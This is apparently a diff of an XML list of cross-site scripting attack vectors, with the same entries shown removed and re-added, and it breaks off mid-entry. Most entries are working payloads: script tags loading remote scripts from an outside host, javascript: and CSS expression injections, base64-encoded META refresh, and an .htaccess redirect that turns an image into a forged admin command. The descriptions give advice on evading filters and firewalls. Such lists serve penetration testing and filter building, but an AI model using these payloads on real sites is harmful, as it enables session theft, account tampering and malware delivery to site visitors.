<attack> - <name>INPUT Image</name> - <code><INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"></code> - <desc>INPUT Image</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>IMG w/JavaScript Directive</name> - <code><IMG SRC="javascript:alert('XSS');"></code> - <desc>Image XSS using the JavaScript directive.</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>IMG No Quotes/Semicolon</name> - <code><IMG SRC=javascript:alert('XSS')></code> - <desc>No quotes and no semicolon</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>IMG Dynsrc</name> - <code><IMG DYNSRC="javascript:alert('XSS');"></code> - <desc>IMG Dynsrc</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> - </attack> - <attack> - <name>IMG Lowsrc</name> - <code><IMG LOWSRC="javascript:alert('XSS');"></code> - <desc>IMG Lowsrc</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> - </attack> - <attack> - <name>IMG Embedded commands 1</name> - <code><IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"></code> - <desc>This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc... This is one of the lesser used but more useful XSS vectors.</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>IMG Embedded commands 2</name> - <code>Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser</code> - <desc>IMG Embedded commands part II - this is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal <IMG SRC="http://badguy.com/a.jpg"> could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this).</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>IMG STYLE w/expression</name> +<xss> + <attack> + <name>XSS Locator</name> + <code>';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}</code> + <desc>Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. You'll need to replace the "&" with "%26" if you are submitting this XSS string via HTTP GET or it will be ignored and everything after it will be interpreted as another variable. Tip: If you're in a rush and need to quickly check a page, often times injecting the deprecated "<PLAINTEXT>" tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably.</desc> + <label>Basic XSS Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>XSS Quick Test</name> + <code>'';!--"<XSS>=&{()}</code> + <desc>If you don't have much space, this string is a nice compact XSS injection check. View source after injecting it and look for <XSS versus &lt;XSS to see if it is vulnerable.</desc> + <label>Basic XSS Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>SCRIPT w/Alert()</name> + <code><SCRIPT>alert('XSS')</SCRIPT></code> + <desc>Basic injection attack</desc> + <label>Basic XSS Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>SCRIPT w/Source File</name> + <code><SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT></code> + <desc>No filter evasion. This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here).</desc> + <label>Basic XSS Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>SCRIPT w/Char Code</name> + <code><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT></code> + <desc>Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up.</desc> + <label>Basic XSS Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>BASE</name> + <code><BASE HREF="javascript:alert('XSS');//"></code> + <desc>Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like "images/image.jpg" rather than full paths. If the path includes a leading forward slash like "/images/image.jpg" you can remove one slash from this vector (as long as there are two to begin the comment this will work</desc> + <label>HTML Element Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> + </attack> + <attack> + <name>BGSOUND</name> + <code><BGSOUND SRC="javascript:alert('XSS');"></code> + <desc>BGSOUND</desc> + <label>HTML Element Attacks</label> + <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>BODY background-image</name> + <code><BODY BACKGROUND="javascript:alert('XSS');"></code> + <desc>BODY image</desc> + <label>HTML Element Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>BODY ONLOAD</name> + <code><BODY ONLOAD=alert('XSS')></code> + <desc>BODY tag (I like this method because it doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack)</desc> + <label>HTML Element Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>DIV background-image 1</name> + <code><DIV STYLE="background-image: url(javascript:alert('XSS'))"></code> + <desc>Div background-image</desc> + <label>HTML Element Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> + </attack> + <attack> + <name>DIV background-image 2</name> + <code><DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))"></code> + <desc>Div background-image plus extra characters. I built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8203, 12288, 65279)</desc> + <label>HTML Element Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> + </attack> + <attack> + <name>DIV expression</name> + <code><DIV STYLE="width: expression(alert('XSS'));"></code> + <desc>Div expression - a variant of this was effective against a real world cross site scripting filter using a newline between the colon and "expression"</desc> + <label>HTML Element Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> + </attack> + <attack> + <name>FRAME</name> + <code><FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET></code> + <desc>Frame (Frames have the same sorts of XSS problems as iframes).</desc> + <label>HTML Element Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>IFRAME</name> + <code><IFRAME SRC="javascript:alert('XSS');"></IFRAME></code> + <desc>Iframe (If iframes are allowed there are a lot of other XSS problems as well).</desc> + <label>HTML Element Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>INPUT Image</name> + <code><INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"></code> + <desc>INPUT Image</desc> + <label>HTML Element Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>IMG w/JavaScript Directive</name> + <code><IMG SRC="javascript:alert('XSS');"></code> + <desc>Image XSS using the JavaScript directive.</desc> + <label>HTML Element Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>IMG No Quotes/Semicolon</name> + <code><IMG SRC=javascript:alert('XSS')></code> + <desc>No quotes and no semicolon</desc> + <label>HTML Element Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>IMG Dynsrc</name> + <code><IMG DYNSRC="javascript:alert('XSS');"></code> + <desc>IMG Dynsrc</desc> + <label>HTML Element Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> + </attack> + <attack> + <name>IMG Lowsrc</name> + <code><IMG LOWSRC="javascript:alert('XSS');"></code> + <desc>IMG Lowsrc</desc> + <label>HTML Element Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> + </attack> + <attack> + <name>IMG Embedded commands 1</name> + <code><IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"></code> + <desc>This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc... This is one of the lesser used but more useful XSS vectors.</desc> + <label>HTML Element Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>IMG Embedded commands 2</name> + <code>Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser</code> + <desc>IMG Embedded commands part II - this is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal <IMG SRC="http://badguy.com/a.jpg"> could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this).</desc> + <label>HTML Element Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>IMG STYLE w/expression</name> <code>exp/*<XSS STYLE='no\xss:noxss("*//*"); -xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'></code> - <desc>IMG STYLE with expression (this is really a hybrid of several CSS XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like the other CSS examples this can send IE into a loop).</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> - </attack> - <attack> - <name>List-style-image</name> - <code><STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</code> - <desc>Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector.</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> - </attack> - <attack> - <name>IMG w/VBscript</name> - <code><IMG SRC='vbscript:msgbox("XSS")'></code> - <desc>VBscript in an image</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> - </attack> - <attack> - <name>LAYER</name> - <code><LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER></code> - <desc>Layer (Older Netscape only)</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>]</browser> - </attack> - <attack> - <name>Livescript</name> - <code><IMG SRC="livescript:[code]"></code> - <desc>Livescript (Older Netscape only)</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>]</browser> - </attack> - <attack> - <name>US-ASCII encoding</name> - <code>%BCscript%BEalert(%A2XSS%A2)%BC/script%BE</code> - <desc>Found by Kurt Huwig http://www.iku-ag.de/ This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the hosts transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding.</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="ns">NS4</span>]</browser> - </attack> - <attack> - <name>META</name> - <code><META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"></code> - <desc>The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs.</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> - </attack> - <attack> - <name>META w/data:URL</name> - <code><META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"></code> - <desc>This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, since it utilizes base64 encoding. Please see http://www.ietf.org/rfc/rfc2397.txt for more details</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>META w/additional URL parameter</name> - <code><META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"></code> - <desc>Meta with additional URL parameter. If the target website attempts to see if the URL contains an "http://" you can evade it with the following technique (Submitted by Moritz Naumann http://www.moritz-naumann.com)</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> - </attack> - <attack> - <name>Mocha</name> - <code><IMG SRC="mocha:[code]"></code> - <desc>Mocha (Older Netscape only)</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>]</browser> - </attack> - <attack> - <name>OBJECT</name> - <code><OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT></code> - <desc>If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag. The linked file is actually an HTML file that can contain your XSS</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>OBJECT w/Embedded XSS</name> - <code><OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT></code> - <desc>Using an OBJECT tag you can embed XSS directly (this is unverified).</desc> - <label>HTML Element Attacks</label> - <browser>Browser support:</browser> - </attack> - <attack> - <name>Embed Flash</name> - <code><EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED></code> - <desc>Using an EMBED tag you can embed a Flash movie that contains XSS. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info). Demo: http://ha.ckers.org/weird/xssflash.html :</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>OBJECT w/Flash 2</name> - <code>a="get";&#10;b="URL("";&#10;c="javascript:";&#10;d="alert('XSS');")"; eval(a+b+c+d);</code> - <desc>Using this action script inside flash can obfuscate your XSS vector.</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>STYLE</name> - <code><STYLE TYPE="text/javascript">alert('XSS');</STYLE></code> - <desc>STYLE tag (Older versions of Netscape only)</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>]</browser> - </attack> - <attack> - <name>STYLE w/Comment</name> - <code><IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"></code> - <desc>STYLE attribute using a comment to break up expression (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one)</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> - </attack> - <attack> - <name>STYLE w/Anonymous HTML</name> - <code><XSS STYLE="xss:expression(alert('XSS'))"></code> - <desc>Anonymous HTML with STYLE attribute (IE and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter)</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> - </attack> - <attack> - <name>STYLE w/background-image</name> - <code><STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A></code> - <desc>STYLE tag using background-image.</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> - </attack> - <attack> - <name>STYLE w/background</name> - <code><STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE></code> - <desc>STYLE tag using background.</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> - </attack> - <attack> - <name>Stylesheet</name> - <code><LINK REL="stylesheet" HREF="javascript:alert('XSS');"></code> - <desc>Stylesheet</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>Remote Stylesheet 1</name> - <code><LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"></code> - <desc>Remote style sheet (using something as simple as a remote style sheet you can include your XSS as the style question redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page.</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>Remote Stylesheet 2</name> - <code><STYLE>@import'http://ha.ckers.org/xss.css';</STYLE></code> - <desc>Remote style sheet part 2 (this works the same as above, but uses a <STYLE> tag instead of a <LINK> tag). A slight variation on this vector was used to hack Google Desktop http://www.hacker.co.il/security/ie/css_import.html. As a side note you can remote the end STYLE tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equal sign or a slash in your cross site scripting attack, which has come up at least once in the real world.</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>Remote Stylesheet 3</name> - <code><META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet"></code> - <desc>Remote style sheet part 3. This only works in Opera but is fairly tricky. Setting a link header is not part of the HTTP1.1 spec. However, some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: <http://ha.ckers.org/xss.css>; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox.</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>Remote Stylesheet 4</name> - <code><STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE></code> - <desc>Remote style sheet part 4. This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefore is vulnerable to this for the vast majority of sites.</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> - </attack> - <attack> - <name>TABLE</name> - <code><TABLE BACKGROUND="javascript:alert('XSS')"></TABLE></code> - <desc>Table background (who would have thought tables were XSS targets... except me, of course).</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>TD</name> - <code><TABLE><TD BACKGROUND="javascript:alert('XSS')"></TD></TABLE></code> - <desc>TD background.</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>XML namespace</name> +xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'></code> + <desc>IMG STYLE with expression (this is really a hybrid of several CSS XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like the other CSS examples this can send IE into a loop).</desc> + <label>HTML Element Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> + </attack> + <attack> + <name>List-style-image</name> + <code><STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</code> + <desc>Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector.</desc> + <label>HTML Element Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> + </attack> + <attack> + <name>IMG w/VBscript</name> + <code><IMG SRC='vbscript:msgbox("XSS")'></code> + <desc>VBscript in an image</desc> + <label>HTML Element Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> + </attack> + <attack> + <name>LAYER</name> + <code><LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER></code> + <desc>Layer (Older Netscape only)</desc> + <label>HTML Element Attacks</label> + <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>]</browser> + </attack> + <attack> + <name>Livescript</name> + <code><IMG SRC="livescript:[code]"></code> + <desc>Livescript (Older Netscape only)</desc> + <label>HTML Element Attacks</label> + <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>]</browser> + </attack> + <attack> + <name>US-ASCII encoding</name> + <code>%BCscript%BEalert(%A2XSS%A2)%BC/script%BE</code> + <desc>Found by Kurt Huwig http://www.iku-ag.de/ This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the hosts transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding.</desc> + <label>HTML Element Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="ns">NS4</span>]</browser> + </attack> + <attack> + <name>META</name> + <code><META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"></code> + <desc>The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs.</desc> + <label>HTML Element Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> + </attack> + <attack> + <name>META w/data:URL</name> + <code><META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"></code> + <desc>This is nice because it also 